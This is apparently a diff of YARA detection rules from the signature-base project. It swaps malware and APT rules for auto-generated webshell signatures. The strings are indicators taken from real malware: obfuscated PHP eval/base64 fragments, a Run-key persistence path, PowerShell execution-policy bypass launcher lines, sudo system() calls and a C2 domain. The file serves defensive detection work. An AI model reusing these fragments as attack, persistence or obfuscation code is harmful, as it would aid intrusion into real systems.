+		id = "094eeff9-0da0-5a44-a45c-f8ee57861e7a"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_mal_ransom_wadharma.yar#L3-L13"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d78837ed7cb8914be0990859751cf64603ee5a5ad135541c60c6ae145046412"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7135-L7147"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b37f3cde1a08890bd822a182c3a881f6"
+		logic_hash = "9d071c1e2e0725091a2abe24759e6e71d78e29caa76b4fff77c44e3bb381b1a2"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "557c68e38dce7ea10622763c10a1b9f853c236b3291cd4f9b32723e8714e5576"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+
+	strings:
+		$s0 = "<!-- PageFSO Below -->"
+		$s1 = "theFile.writeLine(\"<script language=\"\"vbscript\"\" runat=server>if request(\"\"\"&cli"
 
 	condition:
-		uint16(0)==0x5a4d and pe.imphash()=="f86dec4a80961955a89e7ed62046cc0e"
+		all of them
 }
-rule SIGNATURE_BASE_WEBSHELL_APT_PHP_DEWMODE_UNC2546_Feb21_1 : FILE
+rule SIGNATURE_BASE_Felikspack3___PHP_Shells_Ssh
 {
 	meta:
-		description = "Detects DEWMODE webshells"
+		description = "Webshells Auto-generated - file ssh.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ea883f25-0e9b-5617-b05e-191a4a5c5a52"
-		date = "2021-02-22"
+		id = "0b971065-df16-5092-beff-c55608447f19"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2021/02/accellion-fta-exploited-for-data-theft-and-extortion.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_unc2546_dewmode.yar#L2-L25"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "86ce185f6350eb7485bce5bd31d91085fed25aa8ce78813e1c3c3dffbaae58ff"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7148-L7159"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "1aa5307790d72941589079989b4f900e"
+		logic_hash = "40c5a5d1d714947454f4aa9f7ed09d777cb60c23933201ac8eaf0d49452af8c6"
 		score = 75
-		quality = 60
-		tags = "FILE"
-		hash1 = "2e0df09fa37eabcae645302d9865913b818ee0993199a6d904728f3093ff48c7"
-		hash2 = "5fa2b9546770241da7305356d6427847598288290866837626f621d794692c1b"
+		quality = 85
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$x1 = "<font size=4>Cleanup Shell</font></a>';" ascii fullword
-		$x2 = "$(sh /tmp/.scr)"
-		$x3 = "@system('sudo /usr/local/bin/admin.pl --mount_cifs=" ascii
-		$s1 = "target=\\\"_blank\\\">Download</a></td>\";" ascii
-		$s2 = ",PASSWORD 1>/dev/null 2>/dev/null');" ascii
-		$s3 = ",base64_decode('" ascii
-		$s4 = "include \"remote.inc\";" ascii
-		$s5 = "@system('sudo /usr/local" ascii
+		$s0 = "eval(gzinflate(str_rot13(base64_decode('"
 
 	condition:
-		uint16(0)==0x3f3c and filesize <9KB and (1 of ($x*) or 2 of them ) or 3 of them
+		all of them
 }
-rule SIGNATURE_BASE_MAL_WIPER_Bibi_Oct23 : FILE
+rule SIGNATURE_BASE_Debug_Bdoor
 {
 	meta:
-		description = "Detects BiBi wiper samples for Windows and Linux"
-		author = "Florian Roth"
-		id = "e1ea8016-e074-5208-8c98-54922bbcc407"
-		date = "2023-11-01"
+		description = "Webshells Auto-generated - file BDoor.dll"
+		author = "Florian Roth (Nextron Systems)"
+		id = "0938efe7-2b6d-5749-af9a-967cca85defb"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://x.com/ESETresearch/status/1719437301900595444?s=20"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/mal_bibi_wiper_oct23.yar#L24-L47"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c22dc994005f91f81d0e8e5f8d400b12ecd28336866bc62b8527e104f6339372"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7160-L7172"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "e4e8e31dd44beb9320922c5f49739955"
+		logic_hash = "ed8caeb96a6fc48fe23d5db078bbb8ba5aec3c5d4ee382cbc6bc4e01630f1460"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "23bae09b5699c2d5c4cb1b8aa908a3af898b00f88f06e021edcb16d7d558efad"
-		hash2 = "40417e937cd244b2f928150cae6fa0eff5551fdb401ea072f6ecdda67a747e17"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "send attempt while closed" ascii fullword
-		$s2 = "[+] CPU cores: %d, Threads: %d" ascii fullword
-		$s3 = "[+] Stats: %d | %d" ascii fullword
-		$opw1 = { 33 c0 88 45 48 b8 01 00 00 00 86 45 48 45 8b f5 48 8d 3d de f5 ff ff 0f 57 c9 f3 0f 7f 4d b8 }
-		$opw2 = { 2d ce b5 00 00 c5 fa e6 f5 e9 40 fe ff ff 0f 1f 44 00 00 75 2e c5 fb 10 0d 26 b4 00 00 44 8b 05 5f b6 00 00 e8 ca 0d 00 00 }
-		$opl1 = { 4c 8d 44 24 08 48 89 f7 48 ff c2 48 83 c6 04 e8 c7 fb ff ff 41 89 c1 0f b6 42 ff 41 0f af c1 }
-		$opl2 = { e8 6f fb ff ff 49 8d 78 f8 89 c0 48 01 c2 48 89 15 09 fb 24 00 e8 5a fb ff ff 49 8d 78 fc 6b f0 06 }
+		$s1 = "\\BDoor\\"
+		$s4 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and filesize <4000KB and 2 of them
+		all of them
 }
-rule SIGNATURE_BASE_Icefog_Malware_Feb18_1 : FILE
+rule SIGNATURE_BASE_Bin_Client
 {
 	meta:
-		description = "Detects IceFog malware"
+		description = "Webshells Auto-generated - file Client.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ce8e3a9b-9f4b-534c-983d-bb5490da5768"
-		date = "2018-02-26"
-		modified = "2023-01-06"
-		reference = "https://twitter.com/ClearskySec/status/968104465818669057"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_icefog.yar#L11-L32"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8bba0f7f6f6aad6586c2c5ed29f30514d2f88703134f331724cc2ff86ccffe87"
+		id = "8564d787-5edc-59b0-b1ef-2f33c8a24f82"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7173-L7187"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5f91a5b46d155cacf0cc6673a2a5461b"
+		logic_hash = "28ce9aa136b5d41bb580e6b5b8580d3ccbb7eeec31007e68241d23c5a0f40d40"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "480373cffc4e60aa5be2954a156e37d689b92e6e33969958230f2ce59d30b9ec"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "cmd /c %c%s%c" fullword ascii
-		$s2 = "temp.bat" fullword ascii
-		$s3 = "c:\\windows\\debug\\wia\\help" fullword wide
-		$s4 = "/getorder.aspx?hostname=" fullword wide
-		$s5 = "\\filecfg_temp.dat" wide
-		$s6 = "Unknown operating system " fullword wide
-		$s7 = "kastygost.compress.to" fullword wide
-		$s8 = "/downloads/" wide
-		$s9 = "\\key.dat" wide
+		$s0 = "Recieved respond from server!!"
+		$s4 = "packet door client"
+		$s5 = "input source port(whatever you want):"
+		$s7 = "Packet sent,waiting for reply..."
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 4 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_ME_Campaign_Malware_1 : FILE
+rule SIGNATURE_BASE_Zxshell2_0_Rar_Folder_Zxshell
 {
 	meta:
-		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		description = "Webshells Auto-generated - file ZXshell.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7c844c5c-caf0-5968-ac1a-72886fcf97cf"
-		date = "2018-02-07"
+		id = "621ac87e-b1f8-58d7-9328-54af5ca9b605"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_middle_east_talosreport.yar#L13-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e5ea689de4be64a02aed31c85a4bd56561ba932587998bc276ddba248d73fa2d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7188-L7200"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "246ce44502d2f6002d720d350e26c288"
+		logic_hash = "72eaf90551144eccb7329e0a0e05bcc955ea2bfdb37aa87e9cae7b5f5a26bea0"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1176642841762b3bc1f401a5987dc55ae4b007367e98740188468642ffbd474e"
+
+	strings:
+		$s0 = "WPreviewPagesn"
+		$s1 = "DA!OLUTELY N"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <5000KB and (pe.imphash()=="618f76eaf4bd95c690d43e84d617efe9")
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_ME_Campaign_Malware_2 : FILE
+rule SIGNATURE_BASE_Rkntload
 {
 	meta:
-		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		description = "Webshells Auto-generated - file RkNTLoad.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a0beec30-62ff-54c3-ab62-c54454b89f8d"
-		date = "2018-02-07"
+		id = "fd4b1343-5fa9-5ad8-bee1-6b06b93ddfbe"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_middle_east_talosreport.yar#L28-L48"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "414e7760c56d2a1713258bb5c5f65e4fb561523ae037f8715d7fba5914ef9211"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7201-L7219"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "262317c95ced56224f136ba532b8b34f"
+		logic_hash = "ab767a7016318633055a85195ca2bab08a8c68222d46018aaf8772ab27a373c4"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "76a9b603f1f901020f65358f1cbf94c1a427d9019f004a99aa8bff1dea01a881"
 
 	strings:
-		$s1 = "QuickAssist.exe" fullword wide
-		$s2 = "<description>Microsoft Modern Sharing Solution</description>" fullword ascii
-		$s3 = "GBEWCWA" fullword ascii
-		$s4 = "name=\"QuickAssist\" " fullword ascii
-		$s5 = "Cimzal" fullword ascii
+		$s1 = "$Info: This file is packed with the UPX executable packer http://upx.tsx.org $"
+		$s2 = "5pur+virtu!"
+		$s3 = "ugh spac#n"
+		$s4 = "xcEx3WriL4"
+		$s5 = "runtime error"
+		$s6 = "loseHWait.Sr."
+		$s7 = "essageBoxAw"
+		$s8 = "$Id: UPX 1.07 Copyright (C) 1996-2001 the UPX Team. All Rights Reserved. $"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <600KB and (pe.imphash()=="b06055e6cc2a804111ab6964df1ca4ae" or 4 of them )
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_ME_Campaign_Malware_3 : FILE
+rule SIGNATURE_BASE_Binder2_Binder2
 {
 	meta:
-		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		description = "Webshells Auto-generated - file binder2.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "d8bfd426-ff42-5332-8206-67a558509494"
-		date = "2018-02-07"
+		id = "29269dc0-f2e4-56ec-ad64-0dff00e339b7"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_middle_east_talosreport.yar#L50-L66"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7d45f9f624285ed13a16901335585490459f22ef8af157c38b720118735ed432"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7220-L7236"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d594e90ad23ae0bc0b65b59189c12f11"
+		logic_hash = "fbe56b7d37fc7863fcf55761c0b5b671d661a713ac95f90d65b79eee9a447a9b"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
 
 	strings:
-		$x1 = "objWShell.Run \"powershell.exe -ExecutionPolicy Bypass -File \"\"%appdata%\"\"\\sys.ps1\", 0 " fullword ascii
-		$x2 = "objFile.WriteLine \"New-Item -Path \"\"$ENV:APPDATA\\Microsoft\\Templates\"\" -ItemType Directory -Force }\" " fullword ascii
-		$x3 = "objFile.WriteLine \"$path = \"\"$ENV:APPDATA\\Microsoft\\Templates\\Report.doc\"\"\" " fullword ascii
-		$s4 = "File=appData & \"\\sys.ps1\"" fullword ascii
+		$s0 = "IsCharAlphaNumericA"
+		$s2 = "WideCharToM"
+		$s4 = "g 5pur+virtu!"
+		$s5 = "\\syslog.en"
+		$s6 = "heap7'7oqk?not="
+		$s8 = "- Kablto in"
 
 	condition:
-		uint16(0)==0x6553 and filesize <400KB and 1 of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_ME_Campaign_Malware_4 : FILE
+rule SIGNATURE_BASE_Thelast_Orice2
 {
 	meta:
-		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		description = "Webshells Auto-generated - file orice2.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1ff83ac6-e3f1-55e2-a811-e526b8235c78"
-		date = "2018-02-07"
+		id = "968cef9e-0163-5f4a-91e3-07510f9f4fcd"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_middle_east_talosreport.yar#L68-L79"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "83340b2d8f5f58f886eb318b80d7fbb0b9a4f5ad634db857edc405932f3ea5bc"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7237-L7249"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "aa63ffb27bde8d03d00dda04421237ae"
+		logic_hash = "075f3377a9b90c6c1ba74682415b9c0832a839afe647fa6d3c85d4e987618405"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c5bfb5118a999d21e9f445ad6ccb08eb71bc7bd4de9e88a41be9cf732156c525"
+
+	strings:
+		$s0 = " $aa = $_GET['aa'];"
+		$s1 = "echo $aa;"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and pe.imphash()=="fb7da233a35ac523d6059fff543627ab"
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_ME_Campaign_Malware_5 : FILE
+rule SIGNATURE_BASE_FSO_S_Sincap
 {
 	meta:
-		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		description = "Webshells Auto-generated - file sincap.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "241a4236-2688-5920-87f7-eed33963ec60"
-		date = "2018-02-07"
-		modified = "2022-08-18"
-		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_middle_east_talosreport.yar#L81-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b958a09be09de03e702a0653cf51148698b35c29bed90edbc3a65e485f0c3aa6"
+		id = "fcee20a3-e71b-5f69-ac67-8660fd270703"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7250-L7262"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "dc5c2c2392b84a1529abd92e98e9aa5b"
+		logic_hash = "705030e93248f5ea6744f78bd7a1816aaa9772880059286b8d686e05b193d4a0"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "d49e9fdfdce1e93615c406ae13ac5f6f68fb7e321ed4f275f328ac8146dd0fc1"
-		hash2 = "e66af059f37bdd35056d1bb6a1ba3695fc5ce333dc96b5a7d7cc9167e32571c5"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "D:\\me\\do\\do\\obj\\" ascii
-		$s2 = "Select * from Win32_ComputerSystem" fullword wide
-		$s3 = "Get_Antivirus" fullword ascii
-		$s4 = "{{\"id\":\"{0}\",\"user\":\"{1}\",\"path\":\"{2}\"}}" fullword wide
-		$s5 = "update software online" fullword wide
-		$s6 = "time.nist.gov" fullword wide
+		$s0 = "    <font color=\"#E5E5E5\" style=\"font-size: 8pt; font-weight: 700\" face=\"Arial\">"
+		$s4 = "<body text=\"#008000\" bgcolor=\"#808080\" topmargin=\"0\" leftmargin=\"0\" rightmargin="
 
 	condition:
-		uint16(0)==0x5a4d and filesize <60KB and 5 of them or all of them
+		all of them
 }
-rule SIGNATURE_BASE_Custom_Ssh_Backdoor_Server
+rule SIGNATURE_BASE_Phpshell
 {
 	meta:
-		description = "Custome SSH backdoor based on python and paramiko - file server.py"
+		description = "Webshells Auto-generated - file PhpShell.php"
 		author = "Florian Roth (Nextron Systems)"
-		id = "eccf705b-b2c3-5af6-ab86-70292089812b"
-		date = "2015-05-14"
-		modified = "2022-08-18"
-		reference = "https://goo.gl/S46L3o"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_backdoor_ssh_python.yar#L2-L17"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "0953b6c2181249b94282ca5736471f85d80d41c9"
-		logic_hash = "7bb142b69a75003e8f26d462c0895a3d807d5c326684e83d756178a3b91669dc"
+		id = "887264d3-5704-5e38-b0a6-44d529258ea2"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7263-L7274"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "539baa0d39a9cf3c64d65ee7a8738620"
+		logic_hash = "95b3cedac370bf9b06092035a738722f3ec97e6cbafe3d4f742429a865576ad8"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "command= raw_input(\"Enter command: \").strip('n')" fullword ascii
-		$s1 = "print '[-] (Failed to load moduli -- gex will be unsupported.)'" fullword ascii
-		$s2 = "print '[-] Listen/bind/accept failed: ' + str(e)" fullword ascii
+		$s2 = "href=\"http://www.gimpster.com/wiki/PhpShell\">www.gimpster.com/wiki/PhpShell</a>."
 
 	condition:
-		2 of them
+		all of them
 }
-import "math"
-
-rule SIGNATURE_BASE_WEBSHELL_PHP_Generic : FILE
+rule SIGNATURE_BASE_Hytop_Devpack_Config
 {
 	meta:
-		description = "php webshell having some kind of input and some kind of payload. restricted to small files or big ones inclusing suspicious strings"
-		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "294ce5d5-55b2-5c79-b0f8-b66f949efbb2"
-		date = "2021-01-14"
-		modified = "2023-09-18"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_webshells.yar#L83-L410"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bee1b76b1455105d4bfe2f45191071cf05e83a309ae9defcf759248ca9bceddd"
-		hash = "6bf351900a408120bee3fc6ea39905c6a35fe6efcf35d0a783ee92062e63a854"
-		hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
-		hash = "00813155bf7f5eb441e1619616a5f6b21ae31afc99caa000c4aafd54b46c3597"
-		hash = "e31788042d9cdeffcb279533b5a7359b3beb1144f39bacdd3acdef6e9b4aff25"
-		hash = "36b91575a08cf40d4782e5aebcec2894144f1e236a102edda2416bc75cbac8dd"
-		hash = "a34154af7c0d7157285cfa498734cfb77662edadb1a10892eb7f7e2fb5e2486c"
-		hash = "791a882af2cea0aa8b8379791b401bebc235296858266ddb7f881c8923b7ea61"
-		hash = "9a8ab3c225076a26309230d7eac7681f85b271d2db22bf5a190adbf66faca2e6"
-		hash = "0d3ee83adc9ebf8fb1a8c449eed5547ee5e67e9a416cce25592e80963198ae23"
-		hash = "3d8708609562a27634df5094713154d8ca784dbe89738e63951e12184ff07ad6"
-		hash = "70d64d987f0d9ab46514abcc868505d95dbf458387f858b0d7580e4ee8573786"
-		hash = "259b3828694b4d256764d7d01b0f0f36ca0526d5ee75e134c6a754d2ab0d1caa"
-		hash = "04d139b48d59fa2ef24fb9347b74fa317cb05bd8b7389aeb0a4d458c49ea7540"
-		hash = "58d0e2ff61301fe0c176b51430850239d3278c7caf56310d202e0cdbdde9ac3f"
-		hash = "731f36a08b0e63c63b3a2a457667dfc34aa7ff3a2aee24e60a8d16b83ad44ce2"
-		hash = "e4ffd4ec67762fe00bb8bd9fbff78cffefdb96c16fe7551b5505d319a90fa18f"
-		hash = "fa00ee25bfb3908808a7c6e8b2423c681d7c52de2deb30cbaea2ee09a635b7d4"
-		hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
-		hash = "e9423ad8e51895db0e8422750c61ef4897b3be4292b36dba67d42de99e714bff"
-		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
-		hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
-		hash = "3de8c04bfdb24185a07f198464fcdd56bb643e1d08199a26acee51435ff0a99f"
-		hash = "63297f8c1d4e88415bc094bc5546124c9ed8d57aca3a09e36ae18f5f054ad172"
-		hash = "a09dcf52da767815f29f66cb7b03f3d8c102da5cf7b69567928961c389eac11f"
-		hash = "d9ae762b011216e520ebe4b7abcac615c61318a8195601526cfa11bbc719a8f1"
-		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
-		logic_hash = "7180250e8a6dd8c14f193fe007b7fd17dc215b470065eb71e7e987699605bc4f"
+		description = "Webshells Auto-generated - file config.asp"
+		author = "Florian Roth (Nextron Systems)"
+		id = "da1b8ce1-8b17-53f6-a86b-ad3fe918084e"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L7275-L7288"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b41d0e64e64a685178a3155195921d61"
+		logic_hash = "b2806c30db413bca518943352f233c9d2915356a41eceed5e352b88ee34fbbd3"
 		score = 75
-		quality = -1709
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		importance = 70
 
 	strings:
-		$wfp_tiny1 = "escapeshellarg" fullword
-		$wfp_tiny2 = "addslashes" fullword
-		$gfp_tiny3 = "include \"./common.php\";"
-		$gfp_tiny4 = "assert('FALSE');"
-		$gfp_tiny5 = "assert(false);"
-		$gfp_tiny6 = "assert(FALSE);"
-		$gfp_tiny7 = "assert('array_key_exists("
-		$gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
-		$gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
-		$gfp_tiny10 = "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
-		$php_short = "<?" wide ascii
-		$no_xml1 = "<?xml version" nocase wide ascii
-		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
-		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
-		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
-		$no_pdf = "<?xpacket"
-		$php_new1 = /<\?=[^?]/ wide ascii
-		$php_new2 = "<?php" nocase wide ascii
-		$php_new3 = "<script language=\"php" nocase wide ascii
-		$inp1 = "php://input" wide ascii
-		$inp2 = /_GET\s?\[/ wide ascii
-		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
-		$inp4 = /_POST\s?\[/ wide ascii
-		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
-		$inp6 = /_REQUEST\s?\[/ wide ascii
-		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
-		$inp8 = /\(\s?\$_HEADERS\s?[\)\[]/ wide ascii
-		$inp15 = "_SERVER['HTTP_" wide ascii
-		$inp16 = "_SERVER[\"HTTP_" wide ascii
-		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
-		$inp18 = "array_values($_SERVER)" wide ascii
-		$inp19 = /file_get_contents\("https?:\/\// wide ascii
